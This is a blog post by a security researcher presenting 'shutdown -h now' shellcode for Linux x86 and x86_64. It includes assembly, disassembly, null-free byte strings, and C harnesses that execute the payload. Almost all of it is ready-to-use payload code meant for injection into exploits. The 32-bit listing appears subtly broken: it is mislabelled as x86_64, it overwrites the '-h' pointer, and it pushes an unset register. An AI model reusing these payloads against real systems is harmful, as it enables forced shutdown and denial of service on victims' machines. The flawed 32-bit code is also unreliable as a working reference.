shutdown -h now Shellcode

This another small shellcode I’ve written for both linux x86 and x86_64 architectures. Let’s have a look at the Linux programmers manual about how execve() takes arguments.

[code language=”C”]
#include <unistd.h>

int execve(const char *filename, char *const argv[],
char *const envp[]);
[/code]


This is my prototype C code corresponding to the above hypothesis.

[code language=”C”]
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

int
main() {
char *file[] = {NULL,"-h","now",NULL};
file[0]="/sbin/shutdown";
execve(file[0],file,NULL);
}
[/code]

After developing the prototype it is easy to port the code into assembly. Here is the x86 version of it. I had to perform some pointer arithmetic to remove the bad chars. But it was really fun writing this piece of code.

[code language=”C”]
; Title: shutdown -h now Shellcode – 56 bytes
; Platform: linux/x86_64
; Date: 2014-06-27
; Author: Osanda Malith Jayathissa (@OsandaMalith)

section .text
global _start

_start:
xor eax, eax
xor edx, edx ; envp

push eax
push word 0x682d ;-h
mov edi, esp

push eax
push byte 0x6e ; now
mov [esp+1], word 0x776f
mov edi, esp

push eax
push 0x6e776f64 ; /sbin/shutdown
push 0x74756873
push 0x2f2f2f6e
push 0x6962732f
mov ebx, esp

push edx ; null envp
push esi ; now null
push edi ; -h null
push ebx ; /sbin/shutdown null
mov ecx, esp
mov al, 11
int 0x80

[/code]

Well, the disassembly looks fine. No bad terminating nulls to be found.

[code language=”C”]
Disassembly of section .text:

08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 31 d2 xor edx,edx
8048064: 50 push eax
8048065: 66 68 2d 68 pushw 0x682d
8048069: 89 e7 mov edi,esp
804806b: 50 push eax
804806c: 6a 6e push 0x6e
804806e: 66 c7 44 24 01 6f 77 mov WORD PTR [esp+0x1],0x776f
8048075: 89 e7 mov edi,esp
8048077: 50 push eax
8048078: 68 64 6f 77 6e push 0x6e776f64
804807d: 68 73 68 75 74 push 0x74756873
8048082: 68 6e 2f 2f 2f push 0x2f2f2f6e
8048087: 68 2f 73 62 69 push 0x6962732f
804808c: 89 e3 mov ebx,esp
804808e: 52 push edx
804808f: 56 push esi
8048090: 57 push edi
8048091: 53 push ebx
8048092: 89 e1 mov ecx,esp
8048094: b0 0b mov al,0xb
8048096: cd 80 int 0x80
[/code]

Here is the final shellcode in my C skeleton file.

[code language=”C”]
#include <stdio.h>
#include <string.h>

unsigned char code[] = "\x31\xc0\x31\xd2\x50\x66\x68\x2d"
"\x68\x89\xe7\x50\x6a\x6e\x66\xc7"
"\x44\x24\x01\x6f\x77\x89\xe7\x50"
"\x68\x64\x6f\x77\x6e\x68\x73\x68"
"\x75\x74\x68\x6e\x2f\x2f\x2f\x68"
"\x2f\x73\x62\x69\x89\xe3\x52\x56"
"\x57\x53\x89\xe1\xb0\x0b\xcd\x80";

int
main() {

printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();

return 0;
}
[/code]

That was the 32-bit code. This is my 64-bit assembly code for shutdown -h now.

[code language=”C”]
; Title: shutdown -h now x86_64 Shellcode – 65 bytes
; Platform: linux/x86_64
; Date: 2014-06-27
; Author: Osanda Malith Jayathissa (@OsandaMalith)

section .text

global _start

_start:

xor rax, rax
xor rdx, rdx

push rax
push byte 0x77
push word 0x6f6e ; now
mov rbx, rsp

push rax
push word 0x682d ;-h
mov rcx, rsp

push rax
mov r8, 0x2f2f2f6e6962732f ; /sbin/shutdown
mov r10, 0x6e776f6474756873
push r10
push r8
mov rdi, rsp

push rdx
push rbx
push rcx
push rdi
mov rsi, rsp

add rax, 59
syscall

[/code]

The dissembly looks fine. No bad chars to be found.

[code language=”C”]
Disassembly of section .text:

0000000000400080 <_start>:
400080: 48 31 c0 xor rax,rax
400083: 48 31 d2 xor rdx,rdx
400086: 50 push rax
400087: 6a 77 push 0x77
400089: 66 68 6e 6f pushw 0x6f6e
40008d: 48 89 e3 mov rbx,rsp
400090: 50 push rax
400091: 66 68 2d 68 pushw 0x682d
400095: 48 89 e1 mov rcx,rsp
400098: 50 push rax
400099: 49 b8 2f 73 62 69 6e movabs r8,0x2f2f2f6e6962732f
4000a0: 2f 2f 2f
4000a3: 49 ba 73 68 75 74 64 movabs r10,0x6e776f6474756873
4000aa: 6f 77 6e
4000ad: 41 52 push r10
4000af: 41 50 push r8
4000b1: 48 89 e7 mov rdi,rsp
4000b4: 52 push rdx
4000b5: 53 push rbx
4000b6: 51 push rcx
4000b7: 57 push rdi
4000b8: 48 89 e6 mov rsi,rsp
4000bb: 48 83 c0 3b add rax,0x3b
4000bf: 0f 05 syscall

[/code]

This is the final shellcode 🙂

[code language=”C”]
#include <stdio.h>
#include <string.h>

unsigned char code[] = "\x48\x31\xc0\x48\x31\xd2\x50\x6a"
"\x77\x66\x68\x6e\x6f\x48\x89\xe3"
"\x50\x66\x68\x2d\x68\x48\x89\xe1"
"\x50\x49\xb8\x2f\x73\x62\x69\x6e"
"\x2f\x2f\x2f\x49\xba\x73\x68\x75"
"\x74\x64\x6f\x77\x6e\x41\x52\x41"
"\x50\x48\x89\xe7\x52\x53\x51\x57"
"\x48\x89\xe6\x48\x83\xc0\x3b\x0f"
"\x05";

int
main() {

printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();

return 0;
}
[/code]

I’ve opened a new page for my shellcodes. You can have a look over here https://osandamalith.com/shellcodes/

For the last month I became a top author at PacketStorm

View post on imgur.com

It’s really great to explore assembly and shellcoding.

Leave a Reply